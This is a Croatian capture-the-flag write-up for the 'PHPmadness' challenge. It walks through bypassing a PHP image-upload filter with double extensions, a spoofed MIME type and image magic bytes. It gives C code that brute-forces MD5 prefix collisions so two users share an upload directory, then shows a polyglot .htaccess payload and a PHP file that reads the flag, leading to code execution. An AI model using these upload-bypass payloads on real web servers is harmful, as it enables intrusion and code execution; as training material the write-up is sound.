This is an old revision of the document!
Zadatak s Hacknite platforme - PHPmadness
Uz zadatak je dan i izvorni kod.
Pregledom *Dockerfilea* zadatka može se vidjeti da se radi o PHP zadatku te da se flag kopira u putanju /flag, gdje datoteka dobiva nasumično generiran naziv u formatu `fl4g_<nasumičnih 16 znakova>`.
Odlaskom na stranicu zadatka potrebno je registrirati novi korisnički račun. Nakon logina prikazuje se stranica na kojoj se može pohraniti jedna slika.
Nakon što se uploada neka mala nasumična slika (npr. *whatever.png*), dobije se poveznica na lokaciju slike.
Pregledom koda u datoteci user.php može se pronaći kod koji validira da je učitana datoteka zapravo valjana slika.
Kod se sastoji od tri provjere:
1. Provjera ekstenzije datoteke
if (preg_match('/^ph/', $ext)) {
Provjera uzima ekstenziju nakon zadnje točke (npr. `.jpg`) i provjerava da ne počinje znakovima `ph`. Ovu provjeru lako je zaobići dvostrukom ekstenzijom, npr. `file.php.jpg`. U tom slučaju se validira `.jpg`, ali se datoteka sprema bez te provjerene ekstenzije, pa efektivno ostaje `.php`.
2. Provjera MIME tipa poslanog u zahtjevu
if (strpos($_FILES["file"]["type"], "image/"))
Ova provjera koristi podatak koji klijent šalje i može se jednostavno namjestiti ručno pri slanju datoteke.
3. Provjera “file signature” (serverska provjera)
$info = @getimagesize($_FILES["file"]["tmp_name"]); $mime = $info['mime']; ... strpos($mime, "image/") !== 0
Ova provjera čita stvarne “magic bytes” datoteke i određuje je li slika. Zaobići se može tako da se na početak PHP datoteke dodaju “magic byteovi” slike (.jpg, .png, …). PHP parser ih preskače i izvršava ostatak koda.
—
No, čak i ako se uspješno upload-a PHP datoteka koja prolazi sve provjere, ona se ne bi izvršila, jer se sprema u `/uploads/`, a tamo postoji `.htaccess` koji zabranjuje izvršavanje PHP datoteka.
Međutim, učitana datoteka se sprema u poddirektorij `/uploads/<specific_user_directory>`. To znači da, ako se može uploadati .htaccess datoteka koja bi zaobišla validaciju, ona bi mogla nadjačati (override) roditeljsku `.htaccess` konfiguraciju i time dopustiti izvršavanje PHP datoteka unutar korisničkog direktorija.
Problem: korisnik može imati samo jednu datoteku po sesiji — upload nove briše staru, što je prikazano u kodu:
To znači: - ako se upload-a `.php` datoteka, neće se moći izvršiti zbog ograničenja u `.htaccess`, - ako se upload-a `.htaccess`, neće se moći uploadati dodatna `.php` datoteka jer se prva briše.
—
Postoji ipak način da dvije datoteke završe u istom direktoriju. Pogledajmo kako se određuje ime korisničkog direktorija:
$userdir = substr(md5($_SESSION['username']), 0, 6) . "/";
Dakle, direktorij se naziva po prvih 6 znakova MD5 sažetka korisničkog imena. Ako nađemo dva korisnička imena X i Y s istim prvim 6 znakova MD5 hash-a:
MD5(X)[0:6] = MD5(Y)[0:6]
onda će oba korisnika spremati datoteke u isti direktorij. Jedan može uploadati `.htaccess`, a drugi `.php` datoteku.
Pronalazak takvog para je trivijalan brute-force problem — može se riješiti u manje od minute. Slijedi primjer C programa koji to radi:
// md5_collision_finder6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <openssl/md5.h>
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!()";
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <string>\n", argv[0]);
return 1;
}
char *input = argv[1];
size_t input_len = strlen(input);
unsigned char input_digest[MD5_DIGEST_LENGTH];
MD5((unsigned char*)input, input_len, input_digest);
printf("Input string: %s\n", input);
printf("Full MD5: ");
for (int i = 0; i < MD5_DIGEST_LENGTH; i++) printf("%02x", input_digest[i]);
printf("\nFirst 6 chars: ");
for (int i = 0; i < 3; i++) printf("%02x", input_digest[i]);
printf("\nSearching for collision...\n");
unsigned char target[3];
memcpy(target, input_digest, 3);
const int min_len = 8;
const int max_len = 15;
const size_t charset_size = sizeof(charset) - 1;
unsigned long long attempts = 0;
char candidate[max_len + 1];
srand(time(NULL));
while (1) {
attempts++;
int len = rand() % (max_len - min_len + 1) + min_len;
for (int i = 0; i < len; i++) candidate[i] = charset[rand() % charset_size];
candidate[len] = '\0';
if (len == input_len && memcmp(candidate, input, len) == 0) continue;
unsigned char candidate_digest[MD5_DIGEST_LENGTH];
MD5((unsigned char*)candidate, len, candidate_digest);
if (memcmp(candidate_digest, target, 3) == 0) {
printf("Collision found after %llu attempts!\n", attempts);
printf("Colliding string: %s\n", candidate);
break;
}
}
return 0;
}
Pokretanje:
$ ./md5_collision_finder6 korisnik1 Input string: korisnik1 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 First 6 chars: affc2d Collision found after 19093362 attempts! Colliding string: BQuxIUGH Full MD5: affc2da2a9c70df41678d24f997a95f0 First 6 chars: affc2d
Dakle, dva korisnička imena koja dijele direktorij su korisnik1 i BQuxIUGH.
—
Sada treba napraviti .htaccess datoteku koja će proći validaciju slike, ali će se i dalje pravilno parsirati. Pri parsiranju PHP datoteka, nepoznati bajtovi se preskaču, no .htaccess parser zahtijeva ispravan početak datoteke — to je najteži dio zadatka.
Postoje dva rješenja:
### 1. `.wbmp` pristup Parser .htaccess datoteke ignorira početne *null* bajtove. Ako se dodaju 4 null bajta (`\x00\x00\x00\x00`), PHP ih prepoznaje kao potpis `.wbmp` slike. Takva datoteka može se zvati `.htaccess.jpg` i sadržavati:
<4 null byteova><new line> <FilesMatch "\.php3$"> Require all granted SetHandler application/x-httpd-php </FilesMatch>
### 2. `.xbm` pristup Komentari u .htaccess počinju s `#`. Ako se doda zaglavlje valjane .xbm slike:
#define a_width 1 #define a_height 1 <FilesMatch "\.php3$"> Require all granted SetHandler application/x-httpd-php </FilesMatch>
PHP provjera prepoznaje datoteku kao sliku, a Apache parser ignorira prve dvije linije kao komentare.
—
Time je moguće zaobići sve provjere i ograničenja. Dakle, strategija je: 1. Dva korisnika s istim prvih 6 znakova MD5 hash-a. 2. Jedan upload-a `.htaccess.jpg` (s gornjim sadržajem). 3. Drugi upload-a PHP datoteku, npr. `readFlag.php3.jpg`.
—
Preostaje PHP kod koji pronalazi i ispisuje flag. Ograničenja su definirana u `/php-config/disable_functions.ini`:
disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec
Ipak, moguće je čitati datoteke bez ovih funkcija.
Primjer datoteke readFlag.php3.jpg (s dodanim *magic bytes* slike na početku):
<4 null byteova><new line>
<?php
$files = scandir("/flag");
foreach ($files as $file) {
if ($file === "." || $file === "..") continue;
$path = "/flag/" . $file;
if (is_file($path)) {
echo "<h3>Contents of: $file</h3><pre>";
echo htmlspecialchars(file_get_contents($path));
echo "</pre><hr>";
}
}
?>
—
Zatim:
1. Prvim korisnikom upload-aj `.htaccess.jpg`.
2. Drugim korisnikom upload-aj `readFlag.php3.jpg`.
3. Posjeti link do učitane PHP datoteke.
PHP kod će se izvršiti i ispisati flag.